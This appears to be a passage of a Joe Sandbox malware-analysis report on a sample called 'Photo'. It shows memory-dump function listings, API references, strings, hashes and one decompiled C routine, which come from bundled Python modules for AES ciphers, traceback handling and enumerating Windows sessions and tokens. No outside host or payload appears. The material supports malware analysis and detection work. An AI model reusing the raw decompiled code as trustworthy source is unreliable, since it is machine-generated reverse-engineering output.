0x0276291a
0x0276291f
0x02762924
0x02762928
0x0276292e
0x0276292e
0x02762934
0x02762937
0x02762937
0x0276293f
0x02762b3c
0x02762945
0x02762946
0x0276294c
0x0276294e
0x0276294e
0x02762b44
0x02762b47
0x02762b49
0x02762b49
0x02762b4e
0x02762b51
0x02762b53
0x02762b53
0x02762b56
0x02762b5c
0x02762b5e
0x02762b61
0x02762b6a
0x02762b6c
0x02762b6c
0x02762b61
0x02762b6f
0x02762b75
0x02762b77
0x02762b7a
0x02762b83
0x02762b85
0x02762b7a
0x00000000
0x02762b75
0x02762918
0x027628ea
0x027628ea
0x027628ea
0x00000000

APIs

PyArg_ParseTuple.PYTHON27(?,0276B4B0,?), ref: 027628D7
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 02762910
CloseHandle.KERNEL32(00000000), ref: 02762928
CloseHandle.KERNEL32(?), ref: 02762937
6C423B4E.MSVCR90(00000000), ref: 0276294C
6C423B4E.MSVCR90(00000000), ref: 02762B47
6C423B4E.MSVCR90(00000000), ref: 02762B51

Strings

OpenProcessToken, xrefs: 0276291A
N;Bl, xrefs: 027629A8
LookupAccountSidW, xrefs: 02762A70
GetTokenInformation, xrefs: 027629C9

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: C423$CloseHandle$Arg_OpenParseProcessTokenTuple
String ID: GetTokenInformation$LookupAccountSidW$N;Bl$OpenProcessToken
API String ID: 1222535211-1612690675
Opcode ID: 4b452e043851992d23790410684149e85337311a42472e4d0142084ce10607ec
Instruction ID: 01d466ab8ce3c43b8f65a9608d9f75cb19b57bbbc8bba62d7255e804793a3e4f
Opcode Fuzzy Hash: 4b452e043851992d23790410684149e85337311a42472e4d0142084ce10607ec
Instruction Fuzzy Hash: C981E471A043029BD710DFB4DC8CA7B77A8EF84618F054928FD49E7241EB75E905CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AAE10 Relevance: 45.7, APIs: 10, Strings: 16, Instructions: 217COMMON

Download Yara Rule

APIs

PyImport_ImportModule.PYTHON27(cStringIO), ref: 1E7AAE34
PyImport_ImportModule.PYTHON27(traceback), ref: 1E7AAE50

Strings

<Error getting traceback - traceback.print_exception() failed>, xrefs: 1E7AAF2D
<Error getting traceback - cant find traceback.print_exception>, xrefs: 1E7AAEC1
<Error getting traceback - cant make print_exception arguments>, xrefs: 1E7AAF0C
OOOOO, xrefs: 1E7AAEF8
print_exception, xrefs: 1E7AAEAE
traceback, xrefs: 1E7AAE4B
<Error getting traceback - cant find getvalue function>, xrefs: 1E7AAF5E
cStringIO, xrefs: 1E7AAE1F
getvalue, xrefs: 1E7AAF49
<Error getting traceback - cStringIO.StringIO() failed>, xrefs: 1E7AAEA0
<Error getting traceback - cant find cStringIO.StringIO>, xrefs: 1E7AAE82
StringIO, xrefs: 1E7AAE71
<Error getting traceback - cant import cStringIO>, xrefs: 1E7AAE41
<Error getting traceback - getvalue() failed.>, xrefs: 1E7AAF85
<Error getting traceback - getvalue() did not return a string>, xrefs: 1E7AAFAB, 1E7AAFB0
<Error getting traceback - cant import traceback>, xrefs: 1E7AAE5D

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: ImportImport_Module
String ID: <Error getting traceback - cStringIO.StringIO() failed>$<Error getting traceback - cant find cStringIO.StringIO>$<Error getting traceback - cant find getvalue function>$<Error getting traceback - cant find traceback.print_exception>$<Error getting traceback - cant import cStringIO>$<Error getting traceback - cant import traceback>$<Error getting traceback - cant make print_exception arguments>$<Error getting traceback - getvalue() did not return a string>$<Error getting traceback - getvalue() failed.>$<Error getting traceback - traceback.print_exception() failed>$OOOOO$StringIO$cStringIO$getvalue$print_exception$traceback
API String ID: 412506365-3429250191
Opcode ID: adeed30468a0fbb902207386f9411573f413d46fbce1c6f30c0706fc300fa978
Instruction ID: d28ac7db67e61839472774f554eb88f8ec2d6256ca934247604e3635ab6134cc
Opcode Fuzzy Hash: adeed30468a0fbb902207386f9411573f413d46fbce1c6f30c0706fc300fa978
Instruction Fuzzy Hash: 1271A3B16043469FF314EF65DC4099B73A9AFC4624F094718FA558B3A4E734EC46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 10002A45 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 246threadCOMMON

Download Yara Rule

APIs

PyEval_RestoreThread.PYTHON27(?), ref: 10002843
PyString_FromStringAndSize.PYTHON27(00000000,?), ref: 1000284F
6C423B4E.MSVCR90(00000000), ref: 10002858
PyEval_RestoreThread.PYTHON27(?), ref: 10002AFC
PyObject_CallObject.PYTHON27(?,00000000), ref: 10002B08
PyString_Size.PYTHON27(00000000), ref: 10002B2C
PyEval_SaveThread.PYTHON27 ref: 10002B3E
PyString_AsString.PYTHON27(00000000), ref: 10002B4C
PyEval_RestoreThread.PYTHON27(?,00000000), ref: 10002B62
PyEval_SaveThread.PYTHON27 ref: 10002B7C
PyEval_RestoreThread.PYTHON27(?), ref: 10002BF3
PyErr_SetString.PYTHON27(?,counter wrapped without allow_wraparound), ref: 10002C06
6C423B4E.MSVCR90(?,?,counter wrapped without allow_wraparound), ref: 10002C0D
PyEval_RestoreThread.PYTHON27(?), ref: 10002C25
PyErr_Format.PYTHON27(?,Unknown ciphertext feedback mode %i; this shouldn't happen,00000003), ref: 10002CF1
6C423B4E.MSVCR90(00000000,?,Unknown ciphertext feedback mode %i; this shouldn't happen,00000003), ref: 10002CF8

Strings

CTR counter function returned string not of length %i, xrefs: 10002CA0
CTR counter function returned string not of length %i, xrefs: 10002C34
CTR counter function didn't return a string, xrefs: 10002C5E
counter wrapped without allow_wraparound, xrefs: 10002C00

Memory Dump Source

Source File: 00000001.00000002.431765876.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.431757936.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.0000000010008000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.000000001000A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431800148.000000001000B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431809437.000000001000D000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Photo.jbxd

Similarity

API ID: Eval_Thread$Restore$C423StringString_$Err_SaveSize$CallFormatFromObjectObject_
String ID: CTR counter function didn't return a string$CTR counter function returned string not of length %i$CTR counter function returned string not of length %i$counter wrapped without allow_wraparound
API String ID: 2091690913-1778393976
Opcode ID: 0a7b9eb1f5c502bd2e1b1a1844cda861a1d42c6e2ecdb6b3eb58d05ab8ccb796
Instruction ID: 931ef8301d318ad6b9cf57a685a1a14bbcde692649e479e8f34625deca31dbb5
Opcode Fuzzy Hash: 0a7b9eb1f5c502bd2e1b1a1844cda861a1d42c6e2ecdb6b3eb58d05ab8ccb796
Instruction Fuzzy Hash: 9A8134B16042018FE314DF68DCC4A6BB3A1FF84394F118A2CE64683649DB35E959CB96

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A81D0 Relevance: 40.5, APIs: 14, Strings: 9, Instructions: 283timeCOMMON

Download Yara Rule

APIs

PyObject_GenericGetAttr.PYTHON27(?,?), ref: 1E7A81DF
PyErr_Clear.PYTHON27 ref: 1E7A81F0
VariantTimeToSystemTime.OLEAUT32 ref: 1E7A8204
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(VariantTimeToSystemTime,00000000), ref: 1E7A8214

Part of subcall function 1E7A9F20: GetLastError.KERNEL32(00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F2A
Part of subcall function 1E7A9F20: ?PyWin_GetErrorMessageModule@@YAPAUHINSTANCE__@@K@Z.PYWINTYPES27(00000000,00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F38
Part of subcall function 1E7A9F20: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 1E7A9F69
Part of subcall function 1E7A9F20: ?PyWinObject_FromTCHAR@@YAPAU_object@@PBDH@Z.PYWINTYPES27(No error message is available,000000FF,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1E7A9FC7
Part of subcall function 1E7A9F20: ?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF,00000000,?,6C423D3F), ref: 1E7A9FD7
Part of subcall function 1E7A9F20: Py_BuildValue.PYTHON27((iNN),00000000,00000000,?,00000000,?,6C423D3F), ref: 1E7A9FE6
Part of subcall function 1E7A9F20: LocalFree.KERNEL32(?), ref: 1E7A9FFF
Part of subcall function 1E7A9F20: PyErr_SetObject.PYTHON27(02FC03E0,00000000), ref: 1E7AA010

PyString_AsString.PYTHON27(?), ref: 1E7A8225
PyInt_FromLong.PYTHON27(?), ref: 1E7A826F

Strings

weekday, xrefs: 1E7A82C5
month, xrefs: 1E7A827F
msec, xrefs: 1E7A842F
second, xrefs: 1E7A83E5
day, xrefs: 1E7A830F
minute, xrefs: 1E7A839F
VariantTimeToSystemTime, xrefs: 1E7A820F
hour, xrefs: 1E7A8355
year, xrefs: 1E7A8232

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: FromU_object@@$Err_ErrorMessageObject_String_TimeWin_$AttrBuildClearCoreE__@@Error@@FormatFreeGenericInt_LastLocalLongModule@@ObjectStringString@@SystemValueVariant
String ID: VariantTimeToSystemTime$day$hour$minute$month$msec$second$weekday$year
API String ID: 2393066126-3503056508
Opcode ID: c3c50b6d3b0f8c10a91c1cba1fa94a41083fb50cc474bbd2406e12e11965c3b7
Instruction ID: 959b95b1a63b1d32923384136a40d6f519256286dfa74b230d52cbc1f5c25eaf
Opcode Fuzzy Hash: c3c50b6d3b0f8c10a91c1cba1fa94a41083fb50cc474bbd2406e12e11965c3b7
Instruction Fuzzy Hash: 5B816B72B5A1D147F7095F3858782BEFB53ADD6125B8C03ACEAC6861E5F322C409C701

Uniqueness

Uniqueness Score: -1.00%

Function 100023A0 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 220COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON27 ref: 100023FD
PyErr_Format.PYTHON27(?,MODE_PGP is not supported anymore,?,?,?,?,?,?,?,?,?,?), ref: 1000242D
PyErr_SetString.PYTHON27(?,Key cannot be the null string,?,?,?,?,?,?,?,?,?,?), ref: 10002451
PyErr_Format.PYTHON27(?,IV must be %i bytes long,00000010), ref: 10002481
PyErr_Format.PYTHON27(?,segment_size must be multiple of 8 (bits) between 1 and %i,00000080), ref: 100024D0
PyErr_SetString.PYTHON27(?,'counter' keyword parameter is required with CTR mode), ref: 100024FF
PyObject_HasAttrString.PYTHON27(?,__PCT_CTR_SHORTCUT__), ref: 10002515
PyErr_Occurred.PYTHON27 ref: 1000255B
PyErr_Format.PYTHON27(?,Unknown cipher feedback mode %i,?,?,?,?,?,?,?,?,?,?,?), ref: 1000262B

Strings

IV must be %i bytes long, xrefs: 1000247B
__PCT_CTR_SHORTCUT__, xrefs: 1000250F
segment_size must be multiple of 8 (bits) between 1 and %i, xrefs: 100024CA
Key cannot be the null string, xrefs: 1000244B
'counter' keyword parameter is required with CTR mode, xrefs: 100024F9
'counter' parameter must be a callable object, xrefs: 10002599
Unknown cipher feedback mode %i, xrefs: 10002625
MODE_PGP is not supported anymore, xrefs: 10002427
'counter' parameter only useful with CTR mode, xrefs: 100025C0
s#|is#Oi, xrefs: 100023D4

Memory Dump Source

Source File: 00000001.00000002.431765876.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.431757936.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.0000000010008000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.000000001000A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431800148.000000001000B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431809437.000000001000D000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Photo.jbxd

Similarity

API ID: Err_$Format$String$Arg_AttrKeywordsObject_OccurredParseTuple
String ID: 'counter' keyword parameter is required with CTR mode$'counter' parameter must be a callable object$'counter' parameter only useful with CTR mode$IV must be %i bytes long$Key cannot be the null string$MODE_PGP is not supported anymore$Unknown cipher feedback mode %i$__PCT_CTR_SHORTCUT__$s#|is#Oi$segment_size must be multiple of 8 (bits) between 1 and %i
API String ID: 876204212-67310096
Opcode ID: b038fcbdad58f7ffd06fd473c0e4f84e0737ebdd6455bb57e7d665381fd377c3
Instruction ID: ed98a4b704692f5a3f5750b53d2ad7d7ddd78751ce027e0bb3ec5c0c778bfe98
Opcode Fuzzy Hash: b038fcbdad58f7ffd06fd473c0e4f84e0737ebdd6455bb57e7d665381fd377c3
Instruction Fuzzy Hash: 5571AEB06043019FE310DF68DC84A9B77E4FF88384F41882DE989D3628E735EA58CB56

Uniqueness

Uniqueness Score: -1.00%

Function 100033E0 Relevance: 36.8, APIs: 11, Strings: 10, Instructions: 55COMMON

Download Yara Rule

APIs

Py_InitModule4.PYTHON27(Crypto.Cipher._AES,10008660,00000000,00000000,000003F5), ref: 100033FF
PyModule_AddIntConstant.PYTHON27(00000000,MODE_ECB,00000001), ref: 10003415
PyModule_AddIntConstant.PYTHON27(00000000,MODE_CBC,00000002), ref: 1000341F
PyModule_AddIntConstant.PYTHON27(00000000,MODE_CFB,00000003), ref: 10003429
PyModule_AddIntConstant.PYTHON27(00000000,MODE_PGP,00000004), ref: 10003433
PyModule_AddIntConstant.PYTHON27(00000000,MODE_OFB,00000005), ref: 10003440
PyModule_AddIntConstant.PYTHON27(00000000,MODE_CTR,00000006), ref: 1000344A
PyModule_AddIntConstant.PYTHON27(00000000,block_size,00000010), ref: 10003454
PyModule_AddIntConstant.PYTHON27(00000000,key_size,00000000), ref: 1000345E
PyErr_Occurred.PYTHON27 ref: 10003463
Py_FatalError.PYTHON27(can't initialize module _AES), ref: 10003474

Strings

block_size, xrefs: 1000344E
MODE_PGP, xrefs: 1000342D
MODE_CFB, xrefs: 10003423
MODE_OFB, xrefs: 1000343A
MODE_CTR, xrefs: 10003444
MODE_CBC, xrefs: 10003419
can't initialize module _AES, xrefs: 1000346F
key_size, xrefs: 10003458
Crypto.Cipher._AES, xrefs: 100033F5
MODE_ECB, xrefs: 1000340F

Memory Dump Source

Source File: 00000001.00000002.431765876.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.431757936.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.0000000010008000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.000000001000A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431800148.000000001000B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431809437.000000001000D000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Photo.jbxd

Similarity

API ID: ConstantModule_$Err_ErrorFatalInitModule4Occurred
String ID: Crypto.Cipher._AES$MODE_CBC$MODE_CFB$MODE_CTR$MODE_ECB$MODE_OFB$MODE_PGP$block_size$can't initialize module _AES$key_size
API String ID: 954125639-554990711
Opcode ID: 07f3ab2cd16b600f225ba35e55a159973339a3d6b7548d9ae7ad4d4119fd0fb8
Instruction ID: 06400efb321f9e4532472aedee7e4f47437f3b0de11dd4a44a9f8343108cacb0
Opcode Fuzzy Hash: 07f3ab2cd16b600f225ba35e55a159973339a3d6b7548d9ae7ad4d4119fd0fb8
Instruction Fuzzy Hash: 55016271685A24B6F122B7214C89FCF2904EFC17D1F234010F789790CDDB6597118BAE

Uniqueness

Uniqueness Score: -1.00%

Function 02764590 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 281
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E02764590(long long __fp0) {
				intOrPtr _v0;
				intOrPtr _v1220;
				intOrPtr _v1240;
				char _v1280;
				char _v1292;
				char _v1300;
				intOrPtr* _v1304;
				intOrPtr* _v1308;
				intOrPtr* _v1312;
				intOrPtr* _v1316;
				intOrPtr _v1320;
				char _v1328;
				char _v1332;
				char _v1336;
				intOrPtr _v1340;
				intOrPtr* _v1344;
				char _v1348;
				char _v1352;
				intOrPtr _v1356;
				intOrPtr* _v1372;
				intOrPtr _v1388;
				intOrPtr _v1396;
				intOrPtr _v1400;
				intOrPtr* _v1432;
				char* _t69;
				char _t73;
				char _t74;
				intOrPtr _t77;
				intOrPtr _t78;
				intOrPtr _t79;
				intOrPtr _t88;
				char* _t89;
				intOrPtr* _t90;
				void* _t93;
				intOrPtr _t96;
				intOrPtr* _t97;
				void* _t102;
				void* _t112;
				intOrPtr _t115;
				intOrPtr _t125;
				intOrPtr _t135;
				intOrPtr* _t136;
				void* _t143;
				intOrPtr* _t146;
				void* _t148;
				void* _t149;
				intOrPtr* _t150;
				intOrPtr* _t153;
				void* _t154;
				intOrPtr* _t155;
				signed int _t158;
				void* _t161;
				void* _t162;
				long long* _t164;
				long long _t172;

				_t172 = __fp0;
				_t155 = 0;
				_v1316 = 0;
				_v1312 = 0;
				_v1300 = 0;
				_t150 =  *0x27692a4(0, _t143, _t149, _t154, _t112);
				_t161 = (_t158 & 0xffffffc0) - 0x530 + 4;
				_v1304 = _t150;
				if(_t150 == 0) {
					L54:
					return 0;
				} else {
					_t69 =  &_v1292;
					_push(_t69);
					_push( &_v1300);
					_push(1);
					_push(0);
					_push(0);
					L027681EA();
					if(_t69 != 0) {
						_v1308 = 0;
						if(_v1312 <= 0) {
							L31:
							_push(_v1320);
							L027681E4();
							_push(_v1340);
							L027681E4();
							_push(_v1340);
							L027681E4();
							return _t150;
						} else {
							_v1316 = 0;
							do {
								_t115 =  *((intOrPtr*)(_v1316 + _v1320));
								_t73 = _v1336;
								_t153 = 0;
								_t146 = 0;
								if(_t73 != 0) {
									_push(_t73);
									L027681E4();
								}
								_t74 = _v1332;
								if(_t74 != 0) {
									_push(_t74);
									L027681E4();
								}
								_push( &_v1328);
								_push( &_v1336);
								_push(5);
								_push(_t115);
								_push(0);
								_v1336 = 0;
								_v1332 = 0;
								_v1328 = 0;
								L027681DE();
								if(0 == 0) {
									_push("WTSQuerySessionInformationW");
									goto L35;
								} else {
									if(_v1348 <= 2) {
										goto L29;
									} else {
										_t89 =  &_v1348;
										_push(_t89);
										_push( &_v1352);
										_push(0xe);
										_push(_t115);
										_push(0);
										_v1348 = 0;
										L027681D8();
										if(_t89 == 0) {
											_push("WTSQuerySessionInformation");
											goto L35;
										} else {
											_t90 = _v1372;
											if( *_t90 != 0) {
												_t153 =  *0x27692c8;
												L16:
												_push( &_v1336);
												_push(0x4c0);
												_push( &_v1280);
												_push(8);
												_push(_t115);
												_push(0);
												if( *0x276dc0c() == 0) {
													_push("WinStationQueryInformationW");
													L35:
													E02761090();
													_t162 = _t161 + 4;
													goto L36;
												} else {
													_t135 = _v1220;
													_t93 = E02768280(_t135, 0, 0, 1);
													asm("adc edx, edi");
													asm("sbb edx, 0x19db1de");
													_t96 = E027682C0(_t93 + _v1240 - 0xd53e8000, _t135, 0x989680, 0);
													_v1396 = _t135;
													_t136 = _v1432;
													_v1400 = _t96;
													_t97 = _t136;
													_t38 = _t97 + 2; // 0x2
													_t148 = _t38;
													do {
														_t125 =  *_t97;
														_t97 = _t97 + 2;
													} while (_t125 != 0);
													_t155 =  *0x276928c(_t136, _t97 - _t148 >> 1);
													_t162 = _t161 + 8;
													if(_t155 == 0) {
														goto L42;
													} else {
														asm("fild qword [esp+0x40]");
														_t164 = _t162 - 8;
														 *_t164 = _t172;
														_t146 =  *0x27692b4("OOd", _t155, _t153);
														_t162 = _t164 + 0x14;
														if(_t146 == 0) {
															goto L36;
														} else {
															_t102 =  *0x2769314(_v1388, _t146);
															_t162 = _t162 + 8;
															if(_t102 != 0) {
																goto L36;
															} else {
																 *_t155 =  *_t155 + 0xffffffff;
																if( *_t155 == 0) {
																	 *((intOrPtr*)( *((intOrPtr*)(_v0 + 0x18))))(_t155);
																	_t161 = _t162 + 4;
																}
																if(_t153 != 0) {
																	 *_t153 =  *_t153 + 0xffffffff;
																	if( *_t153 == 0) {
																		_t42 = _t153 + 4; // 0x281f0
																		 *((intOrPtr*)( *((intOrPtr*)( *_t42 + 0x18))))(_t153);
																		_t161 = _t162 + 4;
																	}
																}
																 *_t146 =  *_t146 + 0xffffffff;
																if( *_t146 == 0) {
																	 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t146 + 4)) + 0x18))))(_t146);
																	_t161 = _t162 + 4;
																}
																goto L29;
															}
														}
													}
												}
											} else {
												 *0x276920c( &_v1332, 0x32, "%u.%u.%u.%u",  *(_t90 + 4) & 0x000000ff,  *(_t90 + 5) & 0x000000ff,  *(_t90 + 6) & 0x000000ff,  *(_t90 + 7) & 0x000000ff);
												_t153 =  *0x27692b4("s",  &_v1332);
												_t162 = _t162 + 0x24;
												if(_t153 == 0) {
													L36:
													if(_t155 != 0) {
														 *_t155 =  *_t155 + 0xffffffff;
														if( *_t155 == 0) {
															 *((intOrPtr*)( *((intOrPtr*)(_v0 + 0x18))))(_t155);
															_t162 = _t162 + 4;
														}
													}
													if(_t146 != 0) {
														 *_t146 =  *_t146 + 0xffffffff;
														if( *_t146 == 0) {
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t146 + 4)) + 0x18))))(_t146);
															_t162 = _t162 + 4;
														}
													}
													L42:
													if(_t153 != 0) {
														 *_t153 =  *_t153 + 0xffffffff;
														if( *_t153 == 0) {
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t153 + 4)) + 0x18))))(_t153);
															_t162 = _t162 + 4;
														}
													}
													_t150 = _v1344;
													goto L46;
												} else {
													goto L16;
												}
											}
										}
									}
								}
								goto L55;
								L29:
								_v1336 = _v1336 + 0xc;
								_t88 = _v1328 + 1;
								_v1328 = _t88;
							} while (_t88 < _v1332);
							_t150 = _v1344;
							goto L31;
						}
					} else {
						E02761090("WTSEnumerateSessions");
						_t162 = _t161 + 4;
						L46:
						 *_t150 =  *_t150 + 0xffffffff;
						if( *_t150 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t150 + 4)) + 0x18))))(_t150);
						}
						_t77 = _v1340;
						if(_t77 != 0) {
							_push(_t77);
							L027681E4();
						}
						_t78 = _v1356;
						if(_t78 != 0) {
							_push(_t78);
							L027681E4();
						}
						_t79 = _v1352;
						if(_t79 != 0) {
							_push(_t79);
							L027681E4();
						}
						goto L54;
					}
				}
				L55:
			}

0x02764590
0x0276459f
0x027645a3
0x027645a7
0x027645ab
0x027645b5
0x027645b7
0x027645ba
0x027645c0
0x027648bb
0x027648c4
0x027645c6
0x027645c6
0x027645ca
0x027645cf
0x027645d0
0x027645d2
0x027645d3
0x027645d4
0x027645db
0x027645ef
0x027645f7
0x027647f9
0x027647fd
0x027647fe
0x02764807
0x02764808
0x02764811
0x02764812
0x02764820
0x027645fd
0x027645fd
0x02764601
0x02764609
0x0276460c
0x02764610
0x02764612
0x02764616
0x02764618
0x02764619
0x02764619
0x0276461e
0x02764624
0x02764626
0x02764627
0x02764627
0x02764630
0x02764635
0x02764638
0x0276463a
0x0276463b
0x0276463c
0x02764640
0x02764644
0x02764648
0x0276464f
0x02764821
0x00000000
0x02764655
0x0276465a
0x00000000
0x02764660
0x02764660
0x02764664
0x02764669
0x0276466a
0x0276466c
0x0276466d
0x0276466f
0x02764677
0x0276467e
0x02764828
0x00000000
0x02764684
0x02764684
0x0276468b
0x027646d2
0x027646d8
0x027646dc
0x027646dd
0x027646e9
0x027646ea
0x027646ec
0x027646ed
0x027646f7
0x0276482f
0x02764834
0x02764834
0x02764839
0x00000000
0x027646fd
0x027646fd
0x0276470b
0x0276471b
0x02764728
0x02764730
0x02764735
0x02764739
0x0276473d
0x02764741
0x02764743
0x02764743
0x02764746
0x02764746
0x02764749
0x0276474c
0x0276475d
0x0276475f
0x02764764
0x00000000
0x0276476a
0x0276476a
0x0276476e
0x02764771
0x02764781
0x02764783
0x02764788
0x00000000
0x0276478e
0x02764794
0x0276479a
0x0276479f
0x00000000
0x027647a5
0x027647a5
0x027647a9
0x027647b2
0x027647b4
0x027647b4
0x027647b9
0x027647bb
0x027647be
0x027647c0
0x027647c7
0x027647c9
0x027647c9
0x027647be
0x027647cc
0x027647cf
0x027647d8
0x027647da
0x027647da
0x00000000
0x027647cf
0x0276479f
0x02764788
0x02764764
0x0276468d
0x027646ad
0x027646c3
0x027646c5
0x027646ca
0x0276483c
0x0276483e
0x02764840
0x02764844
0x0276484d
0x0276484f
0x0276484f
0x02764844
0x02764854
0x02764856
0x02764859
0x02764862
0x02764864
0x02764864
0x02764859
0x02764867
0x02764869
0x0276486b
0x0276486e
0x02764877
0x02764879
0x02764879
0x0276486e
0x0276487c
0x00000000
0x027646d0
0x00000000
0x027646d0
0x027646ca
0x0276468b
0x0276467e
0x0276465a
0x00000000
0x027647dd
0x027647e1
0x027647e6
0x027647e7
0x027647eb
0x027647f5
0x00000000
0x027647f5
0x027645dd
0x027645e2
0x027645e7
0x02764880
0x02764880
0x02764883
0x0276488c
0x0276488e
0x02764891
0x02764897
0x02764899
0x0276489a
0x0276489a
0x0276489f
0x027648a5
0x027648a7
0x027648a8
0x027648a8
0x027648ad
0x027648b3
0x027648b5
0x027648b6
0x027648b6
0x00000000
0x027648b3
0x027645db
0x00000000

APIs

PyList_New.PYTHON27(00000000), ref: 027645AF
73C72870.WTSAPI32(?,00000000,00000000,00000001,?,?), ref: 02764619
73C72870.WTSAPI32(?,00000000,00000000,00000001,?,?), ref: 02764627
Py_BuildValue.PYTHON27(0276B7B4,?), ref: 027646BD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02764730

Part of subcall function 02761090: GetLastError.KERNEL32 ref: 027610B2
Part of subcall function 02761090: PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000), ref: 027610B9

73C72870.WTSAPI32(?,?), ref: 0276489A
73C72870.WTSAPI32(?,?), ref: 027648A8
73C72870.WTSAPI32(?,?), ref: 027648B6

Strings

WinStationQueryInformationW, xrefs: 0276482F
WTSQuerySessionInformationW, xrefs: 02764821
WTSEnumerateSessions, xrefs: 027645DD
%u.%u.%u.%u, xrefs: 027646A1
OOd, xrefs: 02764776
WTSQuerySessionInformation, xrefs: 02764828

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: C72870$BuildErr_ErrorFilenameFromLastList_Unothrow_t@std@@@ValueWindowsWith__ehfuncinfo$??2@
String ID: %u.%u.%u.%u$OOd$WTSEnumerateSessions$WTSQuerySessionInformation$WTSQuerySessionInformationW$WinStationQueryInformationW
